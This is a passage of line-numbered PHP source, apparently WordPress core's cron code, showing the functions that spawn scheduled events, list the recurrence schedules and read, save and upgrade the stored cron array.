997 } elseif ( doing_action( 'shutdown' ) ) {
998 _wp_cron();
999 } else {
1000 add_action( 'shutdown', '_wp_cron' );
1001 }
1002}
1003
1004/**
1005 * Runs scheduled callbacks or spawns cron for all scheduled events.
1006 *
1007 * Warning: This function may return Boolean FALSE, but may also return a non-Boolean
1008 * value which evaluates to FALSE. For information about casting to booleans see the
1009 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
1010 * the `===` operator for testing the return value of this function.
1011 *
1012 * @since 5.7.0
1013 * @access private
1014 *
1015 * @return int|false On success an integer indicating number of events spawned (0 indicates no
1016 * events needed to be spawned), false if spawning fails for one or more events.
1017 */
1018function _wp_cron() {
1019 // Prevent infinite loops caused by lack of wp-cron.php.
1020 if ( str_contains( $_SERVER['REQUEST_URI'], '/wp-cron.php' )
1021 || ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON )
1022 ) {
1023 return 0;
1024 }
1025
1026 $crons = wp_get_ready_cron_jobs();
1027 if ( empty( $crons ) ) {
1028 return 0;
1029 }
1030
1031 $gmt_time = microtime( true );
1032 $keys = array_keys( $crons );
1033 if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
1034 return 0;
1035 }
1036
1037 $schedules = wp_get_schedules();
1038 $results = array();
1039
1040 foreach ( $crons as $timestamp => $cronhooks ) {
1041 if ( $timestamp > $gmt_time ) {
1042 break;
1043 }
1044
1045 foreach ( (array) $cronhooks as $hook => $args ) {
1046 if ( isset( $schedules[ $hook ]['callback'] )
1047 && ! call_user_func( $schedules[ $hook ]['callback'] )
1048 ) {
1049 continue;
1050 }
1051
1052 $results[] = spawn_cron( $gmt_time );
1053 break 2;
1054 }
1055 }
1056
1057 if ( in_array( false, $results, true ) ) {
1058 return false;
1059 }
1060
1061 return count( $results );
1062}
1063
1064/**
1065 * Retrieves supported event recurrence schedules.
1066 *
1067 * The default supported recurrences are 'hourly', 'twicedaily', 'daily', and 'weekly'.
1068 * A plugin may add more by hooking into the {@see 'cron_schedules'} filter.
1069 * The filter accepts an array of arrays. The outer array has a key that is the name
1070 * of the schedule, for example 'monthly'. The value is an array with two keys,
1071 * one is 'interval' and the other is 'display'.
1072 *
1073 * The 'interval' is a number in seconds of when the cron job should run.
1074 * So for 'hourly' the time is `HOUR_IN_SECONDS` (`60 * 60` or `3600`). For 'monthly',
1075 * the value would be `MONTH_IN_SECONDS` (`30 * 24 * 60 * 60` or `2592000`).
1076 *
1077 * The 'display' is the description. For the 'monthly' key, the 'display'
1078 * would be `__( 'Once Monthly' )`.
1079 *
1080 * For your plugin, you will be passed an array. You can add your
1081 * schedule by doing the following:
1082 *
1083 * // Filter parameter variable name is 'array'.
1084 * $array['monthly'] = array(
1085 * 'interval' => MONTH_IN_SECONDS,
1086 * 'display' => __( 'Once Monthly' )
1087 * );
1088 *
1089 * @since 2.1.0
1090 * @since 5.4.0 The 'weekly' schedule was added.
1091 *
1092 * @return array {
1093 * The array of cron schedules keyed by the schedule name.
1094 *
1095 * @type array ...$0 {
1096 * Cron schedule information.
1097 *
1098 * @type int $interval The schedule interval in seconds.
1099 * @type string $display The schedule display name.
1100 * }
1101 * }
1102 */
1103function wp_get_schedules() {
1104 $schedules = array(
1105 'hourly' => array(
1106 'interval' => HOUR_IN_SECONDS,
1107 'display' => __( 'Once Hourly' ),
1108 ),
1109 'twicedaily' => array(
1110 'interval' => 12 * HOUR_IN_SECONDS,
1111 'display' => __( 'Twice Daily' ),
1112 ),
1113 'daily' => array(
1114 'interval' => DAY_IN_SECONDS,
1115 'display' => __( 'Once Daily' ),
1116 ),
1117 'weekly' => array(
1118 'interval' => WEEK_IN_SECONDS,
1119 'display' => __( 'Once Weekly' ),
1120 ),
1121 );
1122
1123 /**
1124 * Filters the non-default cron schedules.
1125 *
1126 * @since 2.1.0
1127 *
1128 * @param array $new_schedules {
1129 * An array of non-default cron schedules keyed by the schedule name. Default empty array.
1130 *
1131 * @type array ...$0 {
1132 * Cron schedule information.
1133 *
1134 * @type int $interval The schedule interval in seconds.
1135 * @type string $display The schedule display name.
1136 * }
1137 * }
1138 */
1139 return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
1140}
1141
1142/**
1143 * Retrieves the name of the recurrence schedule for an event.
1144 *
1145 * @see wp_get_schedules() for available schedules.
1146 *
1147 * @since 2.1.0
1148 * @since 5.1.0 {@see 'get_schedule'} filter added.
1149 *
1150 * @param string $hook Action hook to identify the event.
1151 * @param array $args Optional. Arguments passed to the event's callback function.
1152 * Default empty array.
1153 * @return string|false Schedule name on success, false if no schedule.
1154 */
1155function wp_get_schedule( $hook, $args = array() ) {
1156 $schedule = false;
1157 $event = wp_get_scheduled_event( $hook, $args );
1158
1159 if ( $event ) {
1160 $schedule = $event->schedule;
1161 }
1162
1163 /**
1164 * Filters the schedule name for a hook.
1165 *
1166 * @since 5.1.0
1167 *
1168 * @param string|false $schedule Schedule for the hook. False if not found.
1169 * @param string $hook Action hook to execute when cron is run.
1170 * @param array $args Arguments to pass to the hook's callback function.
1171 */
1172 return apply_filters( 'get_schedule', $schedule, $hook, $args );
1173}
1174
1175/**
1176 * Retrieves cron jobs ready to be run.
1177 *
1178 * Returns the results of _get_cron_array() limited to events ready to be run,
1179 * ie, with a timestamp in the past.
1180 *
1181 * @since 5.1.0
1182 *
1183 * @return array[] Array of cron job arrays ready to be run.
1184 */
1185function wp_get_ready_cron_jobs() {
1186 /**
1187 * Filter to override retrieving ready cron jobs.
1188 *
1189 * Returning an array will short-circuit the normal retrieval of ready
1190 * cron jobs, causing the function to return the filtered value instead.
1191 *
1192 * @since 5.1.0
1193 *
1194 * @param null|array[] $pre Array of ready cron tasks to return instead. Default null
1195 * to continue using results from _get_cron_array().
1196 */
1197 $pre = apply_filters( 'pre_get_ready_cron_jobs', null );
1198
1199 if ( null !== $pre ) {
1200 return $pre;
1201 }
1202
1203 $crons = _get_cron_array();
1204 $gmt_time = microtime( true );
1205 $results = array();
1206
1207 foreach ( $crons as $timestamp => $cronhooks ) {
1208 if ( $timestamp > $gmt_time ) {
1209 break;
1210 }
1211
1212 $results[ $timestamp ] = $cronhooks;
1213 }
1214
1215 return $results;
1216}
1217
1218//
1219// Private functions.
1220//
1221
1222/**
1223 * Retrieves cron info array option.
1224 *
1225 * @since 2.1.0
1226 * @since 6.1.0 Return type modified to consistently return an array.
1227 * @access private
1228 *
1229 * @return array[] Array of cron events.
1230 */
1231function _get_cron_array() {
1232 $cron = get_option( 'cron' );
1233 if ( ! is_array( $cron ) ) {
1234 return array();
1235 }
1236
1237 if ( ! isset( $cron['version'] ) ) {
1238 $cron = _upgrade_cron_array( $cron );
1239 }
1240
1241 unset( $cron['version'] );
1242
1243 return $cron;
1244}
1245
1246/**
1247 * Updates the cron option with the new cron array.
1248 *
1249 * @since 2.1.0
1250 * @since 5.1.0 Return value modified to outcome of update_option().
1251 * @since 5.7.0 The `$wp_error` parameter was added.
1252 *
1253 * @access private
1254 *
1255 * @param array[] $cron Array of cron info arrays from _get_cron_array().
1256 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
1257 * @return bool|WP_Error True if cron array updated. False or WP_Error on failure.
1258 */
1259function _set_cron_array( $cron, $wp_error = false ) {
1260 if ( ! is_array( $cron ) ) {
1261 $cron = array();
1262 }
1263
1264 $cron['version'] = 2;
1265
1266 $result = update_option( 'cron', $cron, true );
1267
1268 if ( $wp_error && ! $result ) {
1269 return new WP_Error(
1270 'could_not_set',
1271 __( 'The cron event list could not be saved.' )
1272 );
1273 }
1274
1275 return $result;
1276}
1277
1278/**
1279 * Upgrades a cron info array.
1280 *
1281 * This function upgrades the cron info array to version 2.
1282 *
1283 * @since 2.1.0
1284 * @access private
1285 *
1286 * @param array $cron Cron info array from _get_cron_array().
1287 * @return array An upgraded cron info array.
1288 */
1289function _upgrade_cron_array( $cron ) {
1290 if ( isset( $cron['version'] ) && 2 === $cron['version'] ) {
1291 return $cron;
1292 }
1293
1294 $new_cron = array();
1295
1296 foreach ( (array) $cron as $timestamp => $hooks ) {
1297 foreach ( (array) $hooks as $hook => $args ) {
1298 $key = md5( serialize( $args['args'] ) );
1299
1300 $new_cron[ $timestamp ][ $hook ][ $key ] = $args;
1301 }
1302 }
1303
1304 $new_cron['version'] = 2;
1305
1306 update_option( 'cron', $new_cron, true );
1307
1308 return $new_cron;
1309}
1310